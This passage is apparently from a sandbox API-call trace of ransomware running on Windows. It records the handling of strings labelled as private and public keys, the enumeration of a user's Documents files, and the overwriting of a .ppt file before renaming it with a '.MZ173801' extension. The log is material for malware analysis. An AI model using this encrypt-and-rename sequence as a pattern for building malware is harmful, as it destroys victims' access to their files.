lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.634] GetCurrentThreadId () returned 0xab4 [0169.635] GetCurrentThreadId () returned 0xab4 [0169.635] GetCurrentThreadId () returned 0xab4 [0169.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.635] GetCurrentThreadId () returned 0xab4 [0169.635] GetCurrentThreadId () returned 0xab4 [0169.635] GetCurrentThreadId () returned 0xab4 [0169.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\b4R07D-sGzHx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\b4r07d-sgzhx.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0169.635] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0169.635] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.635] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x62b7 [0169.636] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.636] ReadFile (in: hFile=0x27c, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x62b7, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f480*=0x62b7, lpOverlapped=0x0) returned 1 [0169.636] CloseHandle (hObject=0x27c) returned 1 [0169.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\b4R07D-sGzHx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\b4r07d-sgzhx.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0169.638] WriteFile (in: hFile=0x27c, lpBuffer=0x24c0ed0*, nNumberOfBytesToWrite=0x62b7, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24c0ed0*, lpNumberOfBytesWritten=0x19f48c*=0x62b7, lpOverlapped=0x0) returned 1 [0169.639] CloseHandle (hObject=0x27c) returned 1 [0169.639] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\b4R07D-sGzHx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\b4r07d-sgzhx.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\b4R07D-sGzHx.ppt.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\b4r07d-sgzhx.ppt.mz173801")) returned 1 [0169.640] GetCurrentThreadId () returned 0xab4 [0169.640] GetCurrentThreadId () returned 0xab4 [0169.640] GetCurrentThreadId () returned 0xab4 [0169.640] GetCurrentThreadId () returned 0xab4 [0169.640] GetCurrentThreadId () returned 0xab4 [0169.640] GetCurrentThreadId () returned 0xab4 [0169.640] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a0b80, ftCreationTime.dwHighDateTime=0x1d5e294, ftLastAccessTime.dwLowDateTime=0x1f7ef750, ftLastAccessTime.dwHighDateTime=0x1d5e260, ftLastWriteTime.dwLowDateTime=0x1f7ef750, ftLastWriteTime.dwHighDateTime=0x1d5e260, nFileSizeHigh=0x0, nFileSizeLow=0x3707, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="BNpcCajc.odt", cAlternateFileName="")) returned 1 [0169.640] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0169.640] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0169.640] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4f82e0, ftCreationTime.dwHighDateTime=0x1d5e6ec, ftLastAccessTime.dwLowDateTime=0x3d7e13b0, ftLastAccessTime.dwHighDateTime=0x1d5ec71, ftLastWriteTime.dwLowDateTime=0x3d7e13b0, ftLastWriteTime.dwHighDateTime=0x1d5ec71, nFileSizeHigh=0x0, nFileSizeLow=0x163d4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="djzV bn-yy2T_tgZWYuQ.ppt", cAlternateFileName="DJZVBN~1.PPT")) returned 1 [0169.640] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0169.640] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0169.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\djzV bn-yy2T_tgZWYuQ.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\djzv bn-yy2t_tgzwyuq.ppt"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4f82e0, ftCreationTime.dwHighDateTime=0x1d5e6ec, ftLastAccessTime.dwLowDateTime=0x3d7e13b0, ftLastAccessTime.dwHighDateTime=0x1d5ec71, ftLastWriteTime.dwLowDateTime=0x3d7e13b0, ftLastWriteTime.dwHighDateTime=0x1d5ec71, nFileSizeHigh=0x0, nFileSizeLow=0x163d4)) returned 1 [0169.640] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\djzV bn-yy2T_tgZWYuQ.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\djzv bn-yy2t_tgzwyuq.ppt")) returned 0x20 [0169.640] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\djzV bn-yy2T_tgZWYuQ.ppt", dwFileAttributes=0x80) returned 1 [0169.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCp